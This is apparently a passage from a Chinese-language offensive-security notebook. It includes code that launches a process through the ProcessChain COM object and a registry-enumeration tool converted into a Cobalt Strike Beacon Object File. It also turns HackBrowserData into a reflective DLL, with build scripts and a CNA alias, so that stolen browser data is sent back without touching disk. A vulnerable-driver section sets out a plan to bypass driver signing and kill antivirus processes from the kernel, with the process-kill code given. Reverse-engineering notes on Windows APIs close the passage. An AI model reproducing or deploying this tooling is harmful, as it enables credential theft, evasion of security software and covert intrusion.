            _In_  DISPPARAMS *pDispParams,
            /* [annotation][out] */ 
            _Out_opt_  VARIANT *pVarResult,
            /* [annotation][out] */ 
            _Out_opt_  EXCEPINFO *pExcepInfo,
            /* [annotation][out] */ 
            _Out_opt_  UINT *puArgErr);
        
        /* [propget][id] */ HRESULT ( STDMETHODCALLTYPE *get_ExecutablePath )( 
            IProcessChain * This,
            /* [retval][out] */ BSTR *ExecutablePath);
        
        /* [propput][id] */ HRESULT ( STDMETHODCALLTYPE *put_ExecutablePath )( 
            IProcessChain * This,
            /* [in] */ BSTR ExecutablePath);
        
        /* [propget][id] */ HRESULT ( STDMETHODCALLTYPE *get_CommandLine )( 
            IProcessChain * This,
            /* [retval][out] */ BSTR *CommandLine);
        
        /* [propput][id] */ HRESULT ( STDMETHODCALLTYPE *put_CommandLine )( 
            IProcessChain * This,
            /* [in] */ BSTR CommandLine);
        
        /* [propget][id] */ HRESULT ( STDMETHODCALLTYPE *get_NonBlocking )( 
            IProcessChain * This,
            /* [retval][out] */ VARIANT_BOOL *NonBlocking);
        
        /* [propput][id] */ HRESULT ( STDMETHODCALLTYPE *put_NonBlocking )( 
            IProcessChain * This,
            /* [in] */ VARIANT_BOOL NonBlocking);
        
        /* [propget][id] */ HRESULT ( STDMETHODCALLTYPE *get_TimeoutPeriod )( 
            IProcessChain * This,
            /* [retval][out] */ long *TimeoutPeriod);
        
        /* [propput][id] */ HRESULT ( STDMETHODCALLTYPE *put_TimeoutPeriod )( 
            IProcessChain * This,
            /* [in] */ long TimeoutPeriod);
        
        /* [id] */ HRESULT ( STDMETHODCALLTYPE *Start )( 
            IProcessChain * This,
            /* [out] */ VARIANT_BOOL *TimerFired);
        
        /* [id] */ HRESULT ( STDMETHODCALLTYPE *CancelWait )( 
            IProcessChain * This);
        
        /* [id] */ HRESULT ( STDMETHODCALLTYPE *Terminate )( 
            IProcessChain * This);
        
        END_INTERFACE
    } IProcessChainVtbl;

    interface IProcessChain
    {
        CONST_VTBL struct IProcessChainVtbl *lpVtbl;
    };

    

#ifdef COBJMACROS


#define IProcessChain_QueryInterface(This,riid,ppvObject)	\
    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 

#define IProcessChain_AddRef(This)	\
    ( (This)->lpVtbl -> AddRef(This) ) 

#define IProcessChain_Release(This)	\
    ( (This)->lpVtbl -> Release(This) ) 


#define IProcessChain_GetTypeInfoCount(This,pctinfo)	\
    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) 

#define IProcessChain_GetTypeInfo(This,iTInfo,lcid,ppTInfo)	\
    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) 

#define IProcessChain_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)	\
    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) 

#define IProcessChain_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)	\
    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) 


#define IProcessChain_get_ExecutablePath(This,ExecutablePath)	\
    ( (This)->lpVtbl -> get_ExecutablePath(This,ExecutablePath) ) 

#define IProcessChain_put_ExecutablePath(This,ExecutablePath)	\
    ( (This)->lpVtbl -> put_ExecutablePath(This,ExecutablePath) ) 

#define IProcessChain_get_CommandLine(This,CommandLine)	\
    ( (This)->lpVtbl -> get_CommandLine(This,CommandLine) ) 

#define IProcessChain_put_CommandLine(This,CommandLine)	\
    ( (This)->lpVtbl -> put_CommandLine(This,CommandLine) ) 

#define IProcessChain_get_NonBlocking(This,NonBlocking)	\
    ( (This)->lpVtbl -> get_NonBlocking(This,NonBlocking) ) 

#define IProcessChain_put_NonBlocking(This,NonBlocking)	\
    ( (This)->lpVtbl -> put_NonBlocking(This,NonBlocking) ) 

#define IProcessChain_get_TimeoutPeriod(This,TimeoutPeriod)	\
    ( (This)->lpVtbl -> get_TimeoutPeriod(This,TimeoutPeriod) ) 

#define IProcessChain_put_TimeoutPeriod(This,TimeoutPeriod)	\
    ( (This)->lpVtbl -> put_TimeoutPeriod(This,TimeoutPeriod) ) 

#define IProcessChain_Start(This,TimerFired)	\
    ( (This)->lpVtbl -> Start(This,TimerFired) ) 

#define IProcessChain_CancelWait(This)	\
    ( (This)->lpVtbl -> CancelWait(This) ) 

#define IProcessChain_Terminate(This)	\
    ( (This)->lpVtbl -> Terminate(This) ) 

#endif /* COBJMACROS */


#endif 	/* C style interface */




#endif 	/* __IProcessChain_INTERFACE_DEFINED__ */


EXTERN_C const CLSID CLSID_ProcessChain;

#ifdef __cplusplus

class DECLSPEC_UUID("E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E")
ProcessChain;
#endif
#endif /* __ProcessChainLib_LIBRARY_DEFINED__ */

/* Additional Prototypes for ALL interfaces */

/* end of Additional Prototypes */

#ifdef __cplusplus
}
#endif

#endif



```

### main.cpp

```
#include <Windows.h>
#include "processchain.h"
#include <objbase.h>
#include <stdio.h>
#include <strsafe.h>

//定义com组件使用的bool值，其实质是一个二short类型。
typedef short VARIANT_BOOL;
#define VARIANT_TRUE ((VARIANT_BOOL)-1)
#define VARIANT_FALSE ((VARIANT_BOOL)0)


#define CLSID_ProcessChain L"{E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E}"
#define IID_IProcessChain  L"{79ED9CB4-3A01-4ABA-AD3C-A985EE298B20}"


int main(int argc, TCHAR* argv[])
{
	HRESULT hr = 0;
	CLSID clsidIProcessChain = { 0 };
	IID iidIProcessChain = { 0 };
	IProcessChain* ProcessChain = NULL;
	BOOL bRet = FALSE;
	
	CoInitialize(NULL);//初始化com环境

	CLSIDFromString(CLSID_ProcessChain, &clsidIProcessChain);
	IIDFromString(IID_IProcessChain, &iidIProcessChain);
	//创建接口
	hr = CoCreateInstance(clsidIProcessChain, NULL, CLSCTX_INPROC_SERVER, iidIProcessChain, (LPVOID*)&ProcessChain);
	
	TCHAR cmd[] = L"C:\\WINDOWS\\system32\\calc.exe";
	VARIANT_BOOL b= VARIANT_TRUE;
//设置参数
	ProcessChain->put_CommandLine((BSTR)cmd);
	//调用方法
	hr = ProcessChain->Start(&b);
	
//释放
	CoUninitialize();
	return 0;
}
```

## LINKS

{% embed url="<https://docs.microsoft.com/en-us/windows/win32/com/com-objects-and-interfaces>" %}

{% embed url="<https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects-part-two.html>" %}

{% embed url="<https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html>" %}

> <https://dl.packetstormsecurity.net/papers/general/abusing-objects.pdf>


# 攻击demo的bof改造

## 简介

银河系第一C2 cobaltstrike4.1更新了一个神奇的功能，原文直接贴。

> Cobalt Strike has weaponization options for PowerShell, .NET, and Reflective DLLs. These three options rely on Beacon’s [fork\&run mechanism](https://youtu.be/Pb6yvcB2aYw?t=620). This is Cobalt Strike’s pattern to spawn a process, inject a capability into it, and receive output over a named pipe. This is OK in some engagements. It’s too OPSEC-expensive in others.
>
> We’ve long had requests for some option to run custom capability directly within the Beacon payload, without fork\&run. [Beacon Object Files](https://www.cobaltstrike.com/help-beacon-object-files) are our answer to this request. Beacon Object Files are a way to build small post-ex capabilities that execute in Beacon, parse arguments, call a few Win32 APIs, report output, and exit.
>
> A Beacon Object File is an object file, produced by a C compiler, that is linked and loaded by Cobalt Strike. Beacon Object Files can call Win32 APIs and have access to [some internal Beacon APIs](https://www.cobaltstrike.com/downloads/beacon.h) (e.g., for output, token impersonation, etc.).
>
> Here’s an example Beacon Object File (it’s Beacon’s ‘net domain’ command)

其他特性我倒是没觉得有什么基本都是些常规技术，主要是小，在dns等传输速率慢的信道内会比较有优势。

## 流程

其实也挺简单的

1. 引入beacon.h头文件
2. 把所有字符串和函数改成ascii的
3. 把所有函数改成beacon.h定义的编写约定
4. 生成bof文件

## 操作&代码

找到一份需要武器化的代码，这里使用[get-computer-installed-software](/persistence/get-computer-installed-software)的demo。

```

#include <stdio.h>
#include <Windows.h>
#include <tchar.h>


BOOL EnumInstalledSoft(TCHAR* subKey, TCHAR* subKeyName) {

	HKEY hKey = NULL;
	HKEY hSubKey = NULL;
	DWORD dwIndexs = 0;
	TCHAR keyName[MAX_PATH] = { 0 };
	DWORD dwLength = 256;
	TCHAR subKeyValue[MAX_PATH] = { 0 };


	if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, KEY_READ, &hKey) == ERROR_SUCCESS)
	{
		while (RegEnumKeyEx(hKey, dwIndexs, keyName, &dwLength, NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
		{
			RegOpenKey(hKey, keyName, &hSubKey);

			RegQueryValueEx(hSubKey,
				subKeyName,
				NULL,
				NULL,
				(LPBYTE)subKeyValue,
				&dwLength);

			printf("%s : %s  \n", keyName, subKeyValue);
			RegCloseKey(hSubKey);
			hSubKey = 0;
			++dwIndexs;
			dwLength = 256;
		}
	}
	else
	{
		return FALSE;
	}
	if (hKey != NULL)
	{
		RegCloseKey(hKey);
		return TRUE;
	}
}

int main()
{


	EnumInstalledSoft((TCHAR*)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall",(TCHAR*)"DisplayName");
	EnumInstalledSoft((TCHAR*)"Software\\Classes\\Installer\\Products", (TCHAR*)"ProductName");
	system("pause");


	return 0;
}
```

然后我们导入beacon.h,和替换bof约定的写法，函数原型我们可以使用一个[bof\_helper](https://github.com/dtmsecurity/bof_helper)的项目，这个项目自动化帮我们生成好bof约定的函数原型和写法，如把GetProcAddress换成KERNEL32$GetProcAddress的写法，这里直接使用工具，同时也需要把输出函数换成beacon导出的函数。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MHj2PXpuMH8Y5dd7hU8%2F-MHj3HrxuoUddNObY1J1%2Fimage.png?alt=media\&token=347a1463-14c8-4ee0-a30a-18eb1cec6b0c)

还需要把入口点main改名成go最后整个代码看上去是这样的(比较粗糙没传参)。

```

#include <stdio.h>
#include <windows.h>
#include "beacon.h"

DECLSPEC_IMPORT WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyExA(HKEY, LPCWSTR, DWORD, REGSAM, PHKEY);

DECLSPEC_IMPORT WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyA(HKEY, LPCWSTR, PHKEY);
DECLSPEC_IMPORT WINADVAPI LONG WINAPI ADVAPI32$RegCloseKey(HKEY);
DECLSPEC_IMPORT WINADVAPI LONG WINAPI ADVAPI32$RegEnumKeyExA(
	HKEY,
	DWORD,
	LPWSTR,
	LPDWORD,
	LPDWORD,
	LPWSTR,
	LPDWORD,
	PFILETIME
);
DECLSPEC_IMPORT WINADVAPI LONG WINAPI ADVAPI32$RegQueryValueExA(
	HKEY,
	LPCWSTR,
	LPDWORD,
	LPDWORD,
	LPBYTE,
	LPDWORD
);

BOOL EnumInstalledSoft(CHAR* subKey, CHAR* subKeyName) {

	HKEY hKey = NULL;
	HKEY hSubKey = NULL;
	DWORD dwIndexs = 0;
	CHAR keyName[MAX_PATH] = { 0 };
	DWORD dwLength = 256;
	CHAR subKeyValue[MAX_PATH] = { 0 };


	if (ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, subKey, 0, KEY_READ, &hKey) == ERROR_SUCCESS)
	{
		while (ADVAPI32$RegEnumKeyExA(hKey, dwIndexs, keyName, &dwLength, NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
		{
			ADVAPI32$RegOpenKeyA(hKey, keyName, &hSubKey);

			ADVAPI32$RegQueryValueExA(hSubKey,
				subKeyName,
				NULL,
				NULL,
				(LPBYTE)subKeyValue,
				&dwLength);

			BeaconPrintf(CALLBACK_OUTPUT, "%s : %s  \n", keyName, subKeyValue);
			ADVAPI32$RegCloseKey(hSubKey);
			hSubKey = 0;
			++dwIndexs;
			dwLength = 256;
		}
	}
	else
	{
		return FALSE;
	}
	if (hKey != NULL)
	{
		ADVAPI32$RegCloseKey(hKey);
		return TRUE;
	}
}

int main()
{


	EnumInstalledSoft((CHAR*)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", (CHAR*)"DisplayName");
	EnumInstalledSoft((CHAR*)"Software\\Classes\\Installer\\Products", (CHAR*)"ProductName");
	return 0;
}
```

效果。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MHj3Vm4JAFwMJO7RN6h%2F-MHj3ajDSODOS-fGBW3Q%2Fimage.png?alt=media\&token=93db4908-a7cb-4978-add4-a0bb78f31b28)

## 缺点

1. 似乎无法使用初始化为0的全局变量
2. 不太适合跑驻留型的任务，跑大量循环会崩溃
3. 一旦引发崩溃整个beacon就会崩掉
4. 不易调试
5. 似乎输出不能使用unicode。

## LINKS

{% embed url="<https://blog.cobaltstrike.com/2020/06/25/cobalt-strike-4-1-the-mark-of-injection/>" %}

{% embed url="<https://github.com/dtmsecurity/bof_helper>" %}


# Go项目反射改造

## 简介

反射加载也没什么好说的，突然一时兴起想试一下能不能搞出来go的反射模块，发现已经有师傅铺好了路，这里手动@[WBGlIl](https://github.com/WBGlIl)师傅，选了用[HackBrowserData](https://github.com/moonD4rk/HackBrowserData)项目。

## 过程

首先修改一些默认选项，删除一些字符串，指定输出格式json，开启压缩存储。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MVebJExZD8QJhgIxPwB%2F-MVec4uIf8er71oshyRX%2Fimage.png?alt=media\&token=a0801dd9-ab3a-4f94-a244-9093a5e938ca)

复制一个main函数命名为run，导出它。

![注意上面的注释是参与编译的，声明导出。](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MVebJExZD8QJhgIxPwB%2F-MVeccDCg-lA-hMrW_wB%2Fimage.png?alt=media\&token=70a15742-30eb-4d1d-8b05-7b6b9a78b3ea)

添加如下文件。

```
//dllmain.def

EXPORTS
    run
    ReflectiveLoader

//dllmain.c
#include "dllmain.h"
#include <Windows.h>
#include <stdio.h>
#define DLL_QUERY_HMODULE 6
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) {
	BOOL bReturnValue = TRUE;
	switch( dwReason ) {
		case DLL_QUERY_HMODULE:
			if( lpReserved != NULL )
				*(HMODULE *)lpReserved = hAppInstance;
			break;
		case DLL_PROCESS_ATTACH:
			hAppInstance = hinstDLL;
			run();
			fflush(stdout);
			ExitProcess(0);
			break;
		case DLL_PROCESS_DETACH:
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
			break;
	}
	return bReturnValue;
}

//dllmain.go
package main

//#include "dllmain.h"
//#include "ReflectiveLoader.h"
import "C"

//ReflectiveLoader.h
这玩意就省略了...
```

然后使用如下bat编译。

```
//x64
del dllmain.a
set GOARCH=amd64
go build -a -v --gcflags=-trimpath=$GOPATH -asmflags=-trimpath=$GOPATH -ldflags "-w -s" -buildmode=c-archive -o dllmain.a
gcc dllmain.def dllmain.a -shared -lwinmm -lWs2_32 -o dllmain.dll
move dllmain.dll reflective_dll.x64.dll
//x32
set GOARCH=386
set CGO_ENABLED=0
set path=E:\mingw32\bin\;%path%
go build --ldflags "-s -w" -buildmode=c-archive -o dllmain.a
gcc dllmain.def dllmain.a -shared -lwinmm -lWs2_32 -o dllmain.dll
move dllmain.dll reflective_dll.dll 

```

然后改造下这个项目，让他不落地回传数据，这部分代码就不贴了。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MVebJExZD8QJhgIxPwB%2F-MVegEuo4rCtt4yM7SKw%2Fimage.png?alt=media\&token=27f37067-7060-4e54-af7d-a869de4b0543)

## 效果

都先patch一下。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MVebJExZD8QJhgIxPwB%2F-MVeeMMwm0LDuz1wJ1z_%2Fimage.png?alt=media\&token=4a126924-f2c8-426c-800e-737e71358659)

都能跑起来。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MVebJExZD8QJhgIxPwB%2F-MVeec-Q_UUtEGkKOSpo%2Fimage.png?alt=media\&token=85a8d028-6e6d-47c0-8072-211b839c66a1)

编写cna脚本。

```
alias hackDataBrowers {
	local('$dll');
	btask($1, "Task Beacon to run HackDataBrowers", "T9999");
	if (-is64 $1) {
		$dll    = getFileProper(script_resource("resources"), "reflective_dll.x64.dll");
	}
	else {
		$dll    = getFileProper(script_resource("resources"), "reflective_dll.dll");
	}
	bdllspawn($1, $dll , $2, "Get Browers Data", 5000, false);

}
```

### 遗留问题

这玩意体积太大了，cs的反射函数直接罢工。。。。。

## LINKS

{% embed url="<https://github.com/WBGlIl>" %}


# VulnBins的利用 (vuln driver)

## 简介

挺久没水博客了，今个简单写点，现在的杀软越来越"现代化"了，老是尝试免杀已有木马使我疲惫，干脆想种一劳永逸的解决办法，(自写C2 狗头),当然这是个体力活，这篇文件简单介绍下白漏洞驱动带起黑驱动，直接从内核干掉杀软。

## 流程

1. 找一个存在任意文件读取的漏洞驱动
2. 加载驱动并漏洞利用修改内核DES位(作用于驱动签名校验)
3. 加载黑驱动
4. 漏洞利用改回原值
5. 卸载白驱动

### 代码片段

### 鲨进程 驱动片段

获取当前进程EPROCESS,遍历ActiveProcessLinks获取和判断进程,符合条件就给扬了,当然最好用点强杀手段。

```
BOOLEAN KillProcess(ULONG PID)
{
	NTSTATUS ntStatus = STATUS_SUCCESS;
	PVOID hProcess;
	PEPROCESS pEprcess;
	ntStatus = PsLookupProcessByProcessId(PID, &pEprcess);

	if (NT_SUCCESS(ntStatus))
	{
		if (ObOpenObjectByPointer((PVOID)pEprcess, 0, NULL, 0, NULL, KernelMode, &hProcess) != STATUS_SUCCESS)
			{
			return FALSE;
			}
		ZwTerminateProcess((HANDLE)hProcess, STATUS_SUCCESS);
		ZwClose((HANDLE)hProcess);
		return TRUE;
	}
};

```

### Loader

```
```


# NtQueryInformationProcess逆向

## 起因

早一段时间有一位朋友问过我如何跨进程获取全路径，当时回答的时候告诉他可以从PEB的LDR链表里和通过QueryFullProcessImageNameW获取，最近闲下来了去逆了一下这个函数，发现并非如此，所以记录一下。

## 过程

首先还是打开文档查一下公开信息，发现这个函数由kernel32导出，把kernel32拖进ida看一下反汇编。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MTeM3fNi0SXpzyCCVxu%2F-MTeMSO5INM9yFbRO1BM%2Fimage.png?alt=media\&token=caa3a6db-9f22-4424-af04-b0259980775a)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MTeM3fNi0SXpzyCCVxu%2F-MTeONeuJQaUYIX4SLvC%2Fimage.png?alt=media\&token=1826fc2f-d748-42b1-bb1d-83a0f169b8e9)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MTeM3fNi0SXpzyCCVxu%2F-MTeOX3jiU3TPMDFIPyO%2Fimage.png?alt=media\&token=a225321e-2477-4263-8bd1-25c5b53205cd)

发现实际上这个kernel32导出的这个函数是个转发函数，它由api-ms-win-core-psapi-l1-1-0.dll导出，有经验的朋友可能知道很多api-ms\*系dll在磁盘上根本找不到，找到它拖进ida，发现它只是个字符串。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MTeM3fNi0SXpzyCCVxu%2F-MTePQfTieZkmk7es5Fc%2Fimage.png?alt=media\&token=3cb02df9-18df-438b-a80d-c6c98c037ab5)

实际上微软试图将api体系结构和具体的实现分开，但往往一个dll中包含了大量不同体系的实现(如kernelbase)，这样微软提出了一种名为(virtual dlls)的方案，通过虚拟dll建立一张映射表来转发到实现dll，这样就能把api体系与实现分开。

具体细节可参考<https://blog.quarkslab.com/runtime-dll-name-resolution-apisetschema-part-i.html>

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MTeM3fNi0SXpzyCCVxu%2F-MTeSWOcSnTcdXiD8y0t%2Fimage.png?alt=media\&token=2f1eb705-bed0-4510-bd65-61add5e2a613)

在转发到真实dll kernelbase.dll，同样拖进ida。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MTeM3fNi0SXpzyCCVxu%2F-MTeV-WutLKwccKC63uW%2Fimage.png?alt=media\&token=6de799fb-2a0b-4565-b96b-e337586a666c)

在简单逆向之后发现居然是通过NtQueryInformationProcess来实现的，传入的查询参数为flag\*16+27,

根据微前面的参数检测，只有两个可传入值0或1，查看文档。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MTeM3fNi0SXpzyCCVxu%2F-MTeVWiIJ62h3BlUfMOW%2Fimage.png?alt=media\&token=36bce807-6d2b-48e3-b394-361c4b2b9fb6)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MTeM3fNi0SXpzyCCVxu%2F-MTeVfhiCVVT5FnFBnOm%2Fimage.png?alt=media\&token=a07c25ee-c3d2-42d9-9972-6d7b8423feef)

分别对应了ring0和ring3不同的形式，那么根据逻辑传入的查询参数分别为27或43,我们写一个简单程序验证一下。

```
#include <windows.h>
#include <stdio.h>
#include <winternl.h>

#pragma comment(lib,"ntdll.lib")
int main()
{

    UNICODE_STRING usRing0 = {0};
    UNICODE_STRING usRing3 = { 0 };

    NtQueryInformationProcess(GetCurrentProcess(),(PROCESSINFOCLASS)27,&usRing0, 0x1000, NULL);
    NtQueryInformationProcess(GetCurrentProcess(), (PROCESSINFOCLASS)43, &usRing3, 0x1000, NULL);

    getchar();
}

```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MTeM3fNi0SXpzyCCVxu%2F-MTeYPkkupuGWvuV04QY%2Fimage.png?alt=media\&token=7ee4cb30-d678-4fb1-be18-84b855a5d01a)

## 取巧

当然也有取巧的办法，我们需要请出我们的windbg,查看一下是否记录了这个枚举结构。

```
0:004> dt *!*Process*Information*Class*
DBGHELP: C:\Users\Black Sheep\source\repos\NtQueryInformationProcess1\x64\Debug\NtQueryInformationProcess1.pdb is a partial PDB and can't enumerate symbol information.
          ole32!PROCESS_INFORMATION_CLASS
          ole32!_PROCESS_INFORMATION_CLASS
          combase!PROCESS_INFORMATION_CLASS
          combase!_PROCESS_INFORMATION_CLASS
0:004> dt ole32!PROCESS_INFORMATION_CLASS
   ProcessMemoryPriority = 0n0
   ProcessMemoryExhaustionInfo = 0n1
   ProcessAppMemoryInfo = 0n2
   ProcessInPrivateInfo = 0n3
   ProcessPowerThrottling = 0n4
   ProcessReservedValue1 = 0n5
   ProcessTelemetryCoverageInfo = 0n6
   ProcessProtectionLevelInfo = 0n7
   ProcessLeapSecondInfo = 0n8
   ProcessInformationClassMax = 0n9
```

很遗憾它没有完全记录这个枚举类型，这时候我想到了ReactOS，尝试去看一下是否在老NT内核就有这个选项，之所以用ReactOS而不是泄露的windows源码是因为ReactOS有维护着的文档，交叉查询起来比较方便。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MTeYWYJTSt4HcR_iRyt%2F-MTe_nakUKhICz9MHouQ%2Fimage.png?alt=media\&token=0f54a174-5abd-4c60-b893-34d9ec4bb98e)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MTeYWYJTSt4HcR_iRyt%2F-MTea-o74DNRjizCkNll%2Fimage.png?alt=media\&token=8ef965e4-f2ce-4ba6-9202-090210258210)

很幸运，它记录了比较全的枚举结构类型，我们也能比较方便的查看查询返回的结构体，搜索一下引用。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MTeYWYJTSt4HcR_iRyt%2F-MTec4QCAFrNFnuK8YA4%2Fimage.png?alt=media\&token=bc9e4716-8c94-4b9d-b0cd-9ec5e5b5f677)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MTeYWYJTSt4HcR_iRyt%2F-MTecEgKQYRxlLud1HQw%2Fimage.png?alt=media\&token=ea288e21-637b-4d5c-96af-981d36125124)

## Links

{% embed url="<https://blog.quarkslab.com/runtime-dll-name-resolution-apisetschema-part-i.html>" %}


# NetUserAdd逆向

## 起因

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MU9IV1BIyTYsJrwDQUY%2F-MU9Iv8D4FwsAYblR1Zb%2Fimage.png?alt=media\&token=fcd6c587-1ca0-4f53-810e-ac61ffb6d4ba)

## 过程

反手直接拖ida。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MU9IV1BIyTYsJrwDQUY%2F-MU9KGDxaWs9fJL500Dc%2Fimage.png?alt=media\&token=fdeec6f4-eb4e-4017-a481-dd87b6343e62)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MU9IV1BIyTYsJrwDQUY%2F-MU9KWKSKfndke5fhqVB%2Fimage.png?alt=media\&token=6368aba7-93e5-4e33-abfe-758c8a6dd7a9)

跟了下逻辑然后对比了下React OS发现逻辑几乎一致，那直接扣代码。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MU9IV1BIyTYsJrwDQUY%2F-MU9L6Slg0OQrvfA0dVg%2Fimage.png?alt=media\&token=3f987196-d08c-46aa-872f-d3cc5ed066b5)

win10上UaspOpenDomain没有导出，可以使用特征码搜索的方式去调用，这里跟进了发现同样是调用了sam系函数。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MU9IV1BIyTYsJrwDQUY%2F-MU9LSYIKF_XhjCiBX30%2Fimage.png?alt=media\&token=2ed8ba1e-ad69-41bb-acaa-0a218b92bb3b)

跟一下函数还需要sid。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MU9IV1BIyTYsJrwDQUY%2F-MU9M4-oywKHqFh4zigW%2Fimage.png?alt=media\&token=841ef572-9f89-42cc-989f-999780acd5b3)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MU9IV1BIyTYsJrwDQUY%2F-MU9MAGjGPrxFByt90fJ%2Fimage.png?alt=media\&token=e7f0d4c7-63e4-4888-bd80-15c5c518c0af)

发现是由 LsaQueryInformationPolicy的获取，这个函数在ntsecapi.h里有描述，直接拿来用就好了。

至此用户创建完成，然后通过SetUserInfo设置密码，同样这个函数在windows 10上没有导出。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MU9MGSQuBYpjsfEHENd%2F-MU9MeyqIOU3yMk3JoUo%2Fimage.png?alt=media\&token=9ca4184a-8d36-460b-a25d-b9ac80de1495)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MU9MGSQuBYpjsfEHENd%2F-MU9MqPILkHQdprNfYNd%2Fimage.png?alt=media\&token=66c0e3f0-1f0c-44b8-b289-3e22f85495b5)

跟一下，发现下层函数一致并导出。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MU9MGSQuBYpjsfEHENd%2F-MU9N2teBH84UP6hN7dl%2Fimage.png?alt=media\&token=d3aa9cec-6f9c-4f69-a264-bf3a511376c3)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MU9MGSQuBYpjsfEHENd%2F-MU9N9D8gfZ60EhPp2Rc%2Fimage.png?alt=media\&token=8ae2d7df-a854-4dca-9bce-d510d95640a9)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MU9MGSQuBYpjsfEHENd%2F-MU9NEw4oxNTaQhSzC7m%2Fimage.png?alt=media\&token=a2166641-02d5-4b65-b735-01a52ecc6970)

